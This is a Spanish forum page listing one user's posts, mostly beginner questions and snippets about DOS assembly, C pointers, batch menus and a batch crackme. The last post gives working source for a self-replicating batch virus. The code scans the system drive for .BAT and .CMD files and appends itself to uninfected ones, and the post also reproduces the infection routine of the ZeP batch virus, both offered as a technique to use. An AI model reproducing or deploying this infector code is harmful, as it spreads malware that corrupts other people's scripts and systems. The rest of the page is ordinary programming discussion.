|
Mostrar Temas
|
Páginas: 1 2 3 4 [5]
|
41
|
Programación / ASM / Comprar "Guía Práctica del Lenguaje ensamblador" o no...
|
en: 5 Diciembre 2010, 22:58 pm
|
Bueno chicos... A ver, me he leído el libro "Ensamblador para DOS, Linux y Windows", de Francisco Charte Ojeda. La cosa es que vi el índice de "Guía Práctica del Lengua Ensamblador", del mismo autor, y vi que al menos aparentemente hay muchas cosas que no aparecen en el otro libro. Parece ser como una guía de referencia, y en ese caso me interesaría para ver más detalles que no se explican en el otro libro. No es demasiado caro, pero aún así no es cuestión de gastar por gastar. Alguien que tenga los dos, ¿podría decirme si vale la pena comprar la guía práctica habiendo leído el otro libro? Gracias y saludos
|
|
|
42
|
Programación / ASM / [NASM] String Reverse =P
|
en: 28 Noviembre 2010, 19:23 pm
|
Mi segundo programa. Mi segundo día de estudio de asm Imagino que usé el método más espantoso para hacerlo... pero bueno, no se casi nada y es sólo mi segundo code de práctica... así que xD ;;;;;;;;;;;;;;;;; ;String Reverse ; ;By Binary_Death; ;;;;;;;;;;;;;;;;; segment Data msg1 db 'Cadena a invertir: $' msg2 db 'Cadena invertida: $' string times 256 db ' ' char db ' $' clf db 10,13,10,13,'$' segment Stack stack resb 256 StackEnd: segment Code ..start: mov ax, Stack mov ss, ax mov sp, StackEnd mov ax, Data mov ds, ax mov ah,9h mov dx,msg1 int 21h xor bx,bx SaveStr: xor ah,ah int 16h cmp al,0Dh je ShowStr mov [string+bx],al mov [char],al mov dx,char mov ah,9 int 21h cmp bx,00FFh je ShowStr inc bx jmp SaveStr ShowStr: mov ah,9h mov dx,clf int 21h mov dx,msg2 int 21h dec bx LoopPos: mov al,[string+bx] mov [char],al mov ah,9h mov dx,char int 21h cmp bx,00h je Exit dec bx jmp LoopPos Exit: xor ah,ah int 16h mov ah,4ch int 21h
Agradecería que se me comentara cómo mejorar. Saludos! EDITO: Bueno, en el tercer día de aprendizaje aprendí unas cuantas nuevas cosas. Así que mejoré esto... ;;;;;;;;;;;;;;;;; ;;StrRev 16 bit;; ;; NASM ;; ;;Binary_Death ;; ;;;;;;;;;;;;;;;;; segment data MSG1 DB 'Cadena a Invertir: $' MSG2 DB 'Cadena Invertida: $' CRNL DB 10,13,'$' BKSC DB 8,'$' CHR1 DB ' $' segment stck stack resb 256 SpOffset: segment code ..start: ;Asumimos segmentos mov ax,data mov ds,ax ;DS=Data mov es,ax ;ES=Data mov ax,stck mov ss,ax ;SS=Stck mov sp,SpOffset ;SP=Offset(SpOffset) mov ah,9h mov dx,MSG1 int 21h ;Mostramos MSG1 en pantalla mov dx,0FFh xor cx,cx PushLoop: xor ah,ah int 16h ;Pedimos carácter por teclado cmp al,9h ;Si CHR=BS jz BackSpace ;jmp BackSpace cmp al,0Dh ;Si chr=\CR jz ShowStr ;jmp ShowStr push ax ;Empujamos AH+AL(=00+Chr) a stack mov [CHR1],al ;Guardamos carácter en memoria mov ah,9h mov dx,CHR1 int 21h ;Mostramos el carácter guardado inc cx ;Incrementamos CX dec dx ;Decrementamos DX jnz PushLoop ;Si CX!=0 jmp PushLoop ShowStr: mov ah,9h mov dx,CRNL ;Salto de línea int 21h ;Efectuamos PopLoop: pop ax ;Recuperamos último CHR mov [CHR1],al ;Lo guardamos en CHR1 mov ah,9h mov dx,CHR1 int 21h ;Lo mostramos en pantalla loop PopLoop ;Si CX!=0 jmp PopLoop Exit: xor ah,ah int 16h ;Hacemos pausa mov ah,4ch int 21h ;Devolvemos control al OS BackSpace: mov ah,9h mov dx,BKSC int 21h jmp PushLoop
|
|
|
43
|
Programación / ASM / ¿Error de tipeo en el libro o no comprendí bien?
|
en: 27 Noviembre 2010, 22:03 pm
|
A ver... leyendo un libro de asm, en la parte que habla de los registros del segmento y punteros de la pila, dice con palabras textuales esto: Otros registros fundamentales, que deben configurarse al iniciar la ejecución de cualquier programa, son BP (Base Pointer) y SP (Stack Pointer). Ambos trabajan conjuntamente con el registro de segmento SS para definir la dirección base de la pila, que estaría en la dirección CS:BP, y la posición actual en la que están insertándose o recuperándose datos, que sería CS:SP. La pila es una estructura que crece en orden inverso, es decir, en principio CS contendrá el valor del final de pila, mientras que SP irá reduciéndose a medida que se inserten datos o incrementándose al extraerlos.
Hace referencia a SS como registro de segmento de pila. ¿No debería ser la dirección base indicada por SS:BP y el puntero a la posición actual de la pila indicado por SS:SP? Digo, CS es el segmento de datos, y SS son 64kb de memoria aparte. Así lo entendí yo. Y como me parece medio raro, quisiera saber si es un error de tipeo del libro (porque muchas veces esas cosas ocurren) o es que lo entendí mal xD. Saludos!
|
|
|
44
|
Programación / Programación C/C++ / Puntero+indice
|
en: 18 Agosto 2010, 02:50 am
|
Verán... mi duda es la siguiente. Yo tengo el siguiente código: #include <stdio.h> int main() { int array[5] = {1, 2, 3, 4, 5}; int *point = array; printf("%d", *(point+1)); return 0; }
El cual funciona correctamente, sin complicación. La cosa es, yo defino un array de 5 elementos de tipo int, ok. Luego le asigno la dirección de inicio del array al puntero "point", el cual declaro. Y despues con un printf, imprimo el contenido de la dirección a la que apunta point más un desplazamiento de 1. Si cada celda de memoria ocupa un byte, lo normal seria que el +1 apuntara al siguiente byte de memoria. La cosa es que un tipo int ocupa 4 bytes... entonces, el puntero apuntaría al siguiente byte, donde no están contenidos los 4 bytes completos del siguiente elemento del array. Se me entiende?... en fin, agradecería que alguien pudiera explicarmelo. Saludos ^^
|
|
|
45
|
Programación / Programación C/C++ / [C]Duda, typedef.
|
en: 15 Agosto 2010, 04:00 am
|
Este era el post de otra duda, pero como la solucioné antes de que nadie respondiera, economizo, edito y planteo otra Typedef permite definir alias para los tipos de variables, de tal forma que si yo hago... typedef int entero; entero a = 5;
Puedo definir la variable "a" como un entero cuyo valor es 5. Bien, la cuestión es... en mi libro de aprendizaje, vienen la siguientes sentencias: typedef int * pint; int *p = pint(0x1F5);
Lo cual, a mi entender, no tiene ningún sentido, pues declara el alias como un puntero... no le veo la lógica, lo que se pretende hacer con eso. Y más aun, usando "pint" como la llamada a una función En fin, gracias por la atención... Saludos =)
|
|
|
46
|
Programación / Scripting / [Pregunta]Manejo de gráficos: métodos
|
en: 6 Agosto 2010, 23:37 pm
|
Bien, después de informarme bastante sobre el manejo de gráficos en Batch usando el plano cartesiano, me pregunté si alguien conocería algún otro método que permitiera un control de gráficos equivalente al que se tiene usando coordenadas. Sé que lo hay, pues no hace mucho encontré un Batch Game que usaba otro método... postearía el código de éste si mi mala memoria me permitiera recordar su nombre y en qué página estaba En fin, gracias por la atencion ^^ Saludos!
|
|
|
47
|
Programación / Scripting / Menú de selección en Batch
|
en: 5 Agosto 2010, 15:48 pm
|
Pues... esto pertenecía a un proyecto que quedó bastante en el aire... y bueh, aquí lo dejo, a ver que tal, porque me parece un método interesante @ECHO OFF @SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION @MODE CON COLS=80 LINES=25 @COLOR 0F @TITLE BOOT @REM CODED BY BINARY_DEATH @REM DATA: LAST LINE: 12 :BIOS CALL:LOAD_KEYBOARD CALL:LOAD_GRAPHIC CALL:GRAPHIC_LOAD "!LOGO!" SET/A INDEX=0,LIMIT=2 :MENU SET/A COUNT=0 FOR %%I IN (CHANGE,START,SETTINGS) DO ( IF !INDEX! EQU !COUNT! ( SET VAR=!%%I:@=F!&&SET VAR=!VAR:#=F0! CALL:GRAPHIC_LOAD "!VAR!" ) ELSE ( SET VAR=!%%I:@=0!&&SET VAR=!VAR:#=0F! CALL:GRAPHIC_LOAD "!VAR!") SET/A COUNT+=1 ) CALL KEYBOARD.COM IF %ERRORLEVEL% EQU 80 ( IF %INDEX% LSS %LIMIT% ( SET/A INDEX+=1 ) ELSE (SET/A INDEX=0)) IF %ERRORLEVEL% EQU 72 ( IF %INDEX% GTR 0 ( SET/A INDEX-=1 ) ELSE (SET/A INDEX=%LIMIT%)) IF %ERRORLEVEL% EQU 13 ( EXIT/B %INDEX% ) GOTO:MENU :GRAPHIC_LOAD FOR %%S IN (%~1) DO ( FOR /F "TOKENS=1,2,3 DELIMS=$" %%K IN ("%%S") DO ( ECHO.EB800:%%K "%%L"%%M 1>>CSHOW.TMP )) (TYPE CSHOW.TMP&ECHO.Q)|DEBUG>NUL DEL/Q CSHOW.TMP GOTO:EOF :LOAD_GRAPHIC SET CHANGE=642$C$#,644$H$#,646$A$#,648$N$#,^ 64A$G$#,64C$E$#,64E$Û$@,650$B$#,652$O$#,654$S$# SET START=6E2$S$#,6E4$T$#,6E6$A$#,6E8$R$#,^ 6EA$T$#,6EC$Û$@,6EE$B$#,6F0$O$#,6F2$S$# SET SETTINGS=782$S$#,784$E$#,786$T$#,^ 788$T$#,78A$I$#,78C$N$#,78E$G$#,790$S$# SET LOGO=500$±$F,A2$±$F,142$±$F,1E2$±$F,282$±$F,322$±$F,^ 3C2$±$F,502$±$F,A4$±$F,3C4$±$F,504$±$F,A6$±$F,^ 3C6$±$F,506$±$F,A8$±$F,1E8$±$F,3C8$±$F,508$±$F,^ AA$±$F,1EA$±$F,3CA$±$F,50A$±$F,14C$±$F,28C$±$F,^ 32C$±$F,3CC$±$F,50C$±$F,50E$±$F,510$±$F,B2$±$F,^ 3D2$±$F,512$±$F,B4$±$F,3D4$±$F,514$±$F,B6$±$F,^ 156$±$F,1F6$±$F,296$±$F,336$±$F,3D6$±$F,516$±$F,^ B8$±$F,158$±$F,1F8$±$F,298$±$F,338$±$F,3D8$±$F,^ 518$±$F,BA$±$F,3DA$±$F,51A$±$F,BC$±$F,3DC$±$F,^ 51C$±$F,51E$±$F,520$±$F,C2$±$F,162$±$F,202$±$F,^ 2A2$±$F,342$±$F,3E2$±$F,522$±$F,C4$±$F,3E4$±$F,^ 524$±$F,C6$±$F,3E6$±$F,526$±$F,C8$±$F,3E8$±$F,^ 528$±$F,CA$±$F,3EA$±$F,52A$±$F,CC$±$F,16C$±$F,^ 20C$±$F,2AC$±$F,34C$±$F,3EC$±$F,52C$±$F,52E$±$F,^ 530$±$F,D2$±$F,172$±$F,212$±$F,2B2$±$F,3F2$±$F,^ 532$±$F,D4$±$F,2B4$±$F,3F4$±$F,534$±$F,D6$±$F,^ 2B6$±$F,3F6$±$F,536$±$F,D8$±$F,2B8$±$F,3F8$±$F,^ 538$±$F,DA$±$F,2BA$±$F,3FA$±$F,53A$±$F,DC$±$F,^ 2BC$±$F,35C$±$F,3FC$±$F,53C$±$F,53E$±$F GOTO:EOF :LOAD_KEYBOARD IF NOT EXIST KEYBOARD.COM (( ECHO.N KEYBOARD.COM ECHO.E 0000 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21 ECHO.R CX ECHO.000E ECHO.W0 ECHO.Q)|DEBUG 1>NUL 2>&1 ) GOTO:EOF
No usa ni WBAT ni programas externos que MS-DOS no incluya, sólo se usa debug para acceder a la memoria de video. Saludos!
|
|
|
48
|
Programación / ASM / Duda en Ejemplo
|
en: 10 Julio 2010, 21:37 pm
|
Verán... he comprado el libro "Ensamblador para DOS, Linux y Windows" de Francisco Charte Ojeda, y estoy cursando el quinto capítulo. En él, hay el código fuente de un programa en ensamblador y el mismo programa ya compilado. Dicho programa lo testeé en Windows XP y Windows Vista, y en ambos NO funciona. De lo que estoy seguro es de que el ejemplo del libro, definitivamente no puede estar errado. Bien, les comento mi duda. El ejemplo trata sobre el acceso al segmento de pantalla de DOS: 0B800h. En la explicación cuenta que en ese segmento, el desplazamiento 0 contiene el código de carácter a escribir, el 1 el atributo del caracter, el 2 el siguiente código de carácter y el 3 el atributo de éste. Antes de proseguir les dejaré el código de ejemplo del libro: ; Definimos el segmento de datos segment Datos ; definiendo varios campos Asterisco db '*' Blanco db 0f0h Posicion dw 3280 ; l:20,c:40 Valor32 dd 0
; Segmento para la pila segment Pila stack resb 256 InicioPila:
; Segmento de código segment Codigo ..start:
; inicializamos ds mov ax, Datos ; para acceder a los datos mov ds, ax
; preparamos el registro es ; para acceder al segmento ; donde está el contenido de ; la pantalla mov ax, 0b800h mov es, ax
; recuperamos en AL el ; valor que hay en Asterisco mov al,[Asterisco] ; en AH el color mov ah,[Blanco]
; y en BX la posición mov bx,[Posicion]
; transferimos el contenido ; de AX a la dirección ES:BX mov [es:bx], ax
; escribimos directamente en la pantalla un valor inmediato mov word [es:5*160+35*2], 00a41h ; salimos al sistema mov ah, 4ch int 21h
AX se descompone en AH y AL, que contienen los bits más y menos significativos respectivamente, ¿cierto? Bien, si fuera como el libro dijo, en AH debería situarse el código del carácter y en AL su atributo. Pero no es así, sino al revés. La duda es precisamente esa, ¿por qué? Y no estaría de más que alguien me pudiera decir por qué no me funciona en mi sistema, porque me encataría testear los ejemplos =/ En fin, ¡gracias y saludos!
|
|
|
49
|
Programación / Scripting / Crackme Noob 1.0 [batch]
|
en: 16 Febrero 2010, 13:21 pm
|
@echo off title Crackme Noob 1.0 [Binary_Death] setlocal enabledelayedexpansion :code cls set "dig=" set /p "dig=Password: " if not defined dig GoTo:code call:len "%dig%" if %strlen% LSS 5 (GoTo:code) set /a "iflen=(%strlen%*%dig:~0,1%%dig:~-1%) %% 5" if "%iflen%" NEQ "0" (GoTo:lost) call:algoritm call:cmp "%cmp%" exit /b :algoritm set /a "dec=%dig%/%strlen%" set /a "decend=%dig% %% %strlen%" set ret=0 set int=0 if %dig%%strlen% LSS %dec% (GoTo:lost) for /l %%y in (%dig%%strlen%,-%dec%,%decend%) do (set /a int+=1) set /a "strlenpos=%strlen%-1" for /l %%x in (0,1,%strlenpos%) do ( set /a "ret=!dig:~%%x,1!+!ret!" ) set /a "cmp=(%ret%*%int%*%strlen%) + (%dig:~0,1%*%dig:~-1%)" GoTo:EoF :cmp if "%~1" NEQ "19445" (GoTo:lost) else (GoTo:win) exit :len set "txt=%~1" set /a "count=0" :strlen call set "text=%%txt:~%count%,1%%" if defined text ( set /a "count+=1" GoTo:strlen ) else ( set "strlen=%count%" GoTo:EoF ) :lost cls echo Has perdido. pause>nul&exit :win cls echo Has ganado. pause>nul&exit
Es mi segundo crackme que ya postee en algunos foros. Yo CREO que es muy sencillo y no esta demasiado bien hecho, pero eso ya os lo dejo a vosotros. Opinad. Saludos y animaos! suerte!
|
|
|
50
|
Programación / Scripting / Infección de ficheros por lotes. [By Binary_Death]
|
en: 3 Febrero 2010, 20:49 pm
|
Esto es algo que solo vi en un malware batch... ZeP, el archiconocido xD. Primero veamos el objetivo. Cuando infectamos con un bat otro bat, agregamos el codigo del primero al segundo... evidentemente. El problema surge al ejecutar el fichero infectado, cuando vamos a infectar otro fichero desde un fichero ya infectado copiamos todo el codigo del fichero en otro fichero... y nosotros queremos copiar solo el codigo virico. En resumen, necesitamos saber la posicion de nuestro malware en el fichero para copiar solo este y no todo el fichero en si. ZeP usa una tecnica que yo considero ingeniosa. Todas las lineas de codigo tienen la palabra ZeP, y luego con un find localiza todas esas lineas, localiza ese codigo y lo añade. En ensamblador pasa lo mismo, y la tecnica para calcular la posicion del malware se llama Delta Offset... asi que para no ponerle Delta Word en batch dejemoslo en Delta... xDD ::[H4AR45R849H]_start @echo off set "[0]=%~0" set "find=%SystemDrive%\*.BAT %SystemDrive%\*.CMD" call:delta&call:infect exit /b :infect set "jmp=" if %delta% NEQ 0 (set "jmp=skip=%delta% ") for /f "tokens=*" %%f in ('dir /b /s %find%') do ( FIND /i "[H4AR45R849H]"<"%%~f">nul if errorlevel 1 (call:write "%%~f")) GoTo:EoF :write ECHO.>>"%~1" for /f "tokens=* %jmp%usebackq" %%w in ("%[0]%") do ( ECHO.%%w>>"%~1" if /i "%%w"=="::[H4AR45R849H]_end" (GoTo:EoF)) GoTo:EoF :delta set "linepos=0"&set "delta=0" for /f "tokens=* usebackq" %%x in ("%[0]%") do ( if "%%x"=="::[H4AR45R849H]_start" (call set delta=%%linepos%%&GoTo:EoF) set /a linepos+=1) GoTo:EoF ::[H4AR45R849H]_end Esto es lo que estuve codeando estos dias... Buscamos el numero de linea que señala el principio del codigo virico, asi luego con un for y skip nos posicionamos para inyectar codigo hasta que se detecte el final del codigo virico. Y aqui dejo el método que usaba el virus ZeP: @echo off %DeLtA% set "find=%SystemDrive%\*.BAT %SystemDrive%\*.CMD" %DeLtA% set "[0]=%~0" %DeLtA% :infect %DeLtA% for /f "tokens=*" %%f in ('dir /b /s %find%') do ( %DeLtA% find "DeLtA"<%%f>nul %DeLtA% if errorlevel 1 (call:write "%%~f")) %DeLtA% GoTo:EoF %DeLtA% :write %DeLtA% ECHO.>>"%~1" %DeLtA% find /i "DeLtA"<%[0]%>>"%~1" %DeLtA% GoTo:EoF %DeLtA% Para malwares largos no es conveniente... porque tiene que tener una palabra en cada linea xDDD y eso son bastantes bytes mas. Y bueno, este es mi primer post en este foro, espero que sea de utilidad Saludos!
|
|
|
|
|
|
|